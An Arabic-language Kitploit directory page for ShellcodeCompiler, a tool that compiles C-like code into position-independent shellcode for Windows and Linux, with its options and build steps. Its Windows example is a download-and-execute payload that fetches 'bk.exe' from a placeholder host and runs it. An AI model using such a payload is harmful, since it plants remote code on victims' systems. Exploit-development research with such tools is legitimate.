Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
ShellcodeCompiler — مترجم الشيلكود | Kitploit
أدوات/GitHubGitHub/nytrorst/shellcodecompiler
الاستغلالشيل كودتوليد شيفرة القشرةتطوير الحمولاتاستغلال الملفات الثنائية
GitHubnytrorst/shellcodecompiler

ShellcodeCompiler

مترجم الشيلكود

عرض المستودع
1.2k280منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

Shellcode Compiler

Shellcode Compiler هو برنامج يقوم بترجمة كود بأسلوب C/C++ إلى شيلكود صغير، مستقل عن الموضع، وخالٍ من NULL لأنظمة Windows (x86 و x64) و Linux (x86 و x64). من الممكن استدعاء أي دالة من Windows API أو syscall في Linux بطريقة سهلة الاستخدام.

يأخذ Shellcode Compiler ملف مصدر كمدخل ويستخدم مترجمه الخاص لتفسير الكود وإنشاء ملف تجميع يتم تجميعه مع محرك Keystone.

خيارات سطر الأوامر

root@kitploit:~
    -h (--help)      : إظهار رسالة المساعدة هذه
    -p (--platform)  : منصة الشيلكود: win_x86,win_x64,linux_x86,linux_x64
    -v (--verbose)   : طباعة المخرجات التفصيلية
    -t (--test)      : اختبار (تنفيذ) الشيلكود المُنشأ
    -r (--read)      : قراءة ملف شفرة المصدر
    -o (--output)    : ملف الإخراج للشيلكود الثنائي المُنشأ
    -a (--assembbly) : ملف الإخراج لكود التجميع المُنشأ

مثال ويندوز

root@kitploit:~
    function URLDownloadToFileA("urlmon.dll");
    function WinExec("kernel32.dll");
    function ExitProcess("kernel32.dll");

    URLDownloadToFileA(0,"https://site.com/bk.exe","bk.exe",0,0);
    WinExec("bk.exe",0);
    ExitProcess(0);

مثال لينكس

root@kitploit:~
    chmod("/root/chmodme",511);
    write(1,"Hello, world",12);
    kill(1661,9);
    getpid();
    execve("/usr/bin/burpsuite",0,0);
    exit(2);

مثال الاستدعاء

root@kitploit:~
    ShellcodeCompiler.exe -r Source.txt -o Shellcode.bin -a Assembly.asm -p win_x64
    

القيود

  1. لا يمكن استخدام قيمة الإرجاع من استدعاء API
  2. لا يمكن استخدام المؤشرات أو المخازن المؤقتة
  3. لا يمكن تعريف المتغيرات

توجد قيود أخرى متعددة أيضًا. هذا إصدار ألفا. يرجى الإبلاغ عن أي أخطاء أو اقتراحات.

سجل التغييرات

  1. دعم أولي لـ Windows x64
  2. دعم أولي لشيلكودات Linux (x86 و x64)

Keystone

  1. قم بتنزيل كود مصدر محرك Keystone
  2. قم بترجمة محرك Keystone كمكتبة ثابتة باستخدام nmake-lib.sh (لـ Linux) و nmake-lib.bat (لـ Windows)
  3. Windows: انسخ ملف lib الناتج من keystone-src\build\llvm\lib\keystone.lib إلى ShellcodeCompiler\Keystone\keystone_x86.lib (للإصدار 32 بت) و keystone_x64.lib (للإصدار 64 بت)
  4. Linux: انسخ ملف lib الناتج من keystone-src\build\llvm\lib\keystone.lib إلى ShellcodeCompiler\Keystone\libkeystone_x86.a (للإصدار 32 بت) و libkeystone_x64.a (للإصدار 64 بت)

المؤلف

Ionut Popescu (@NytroRST)

تنزيل الأداة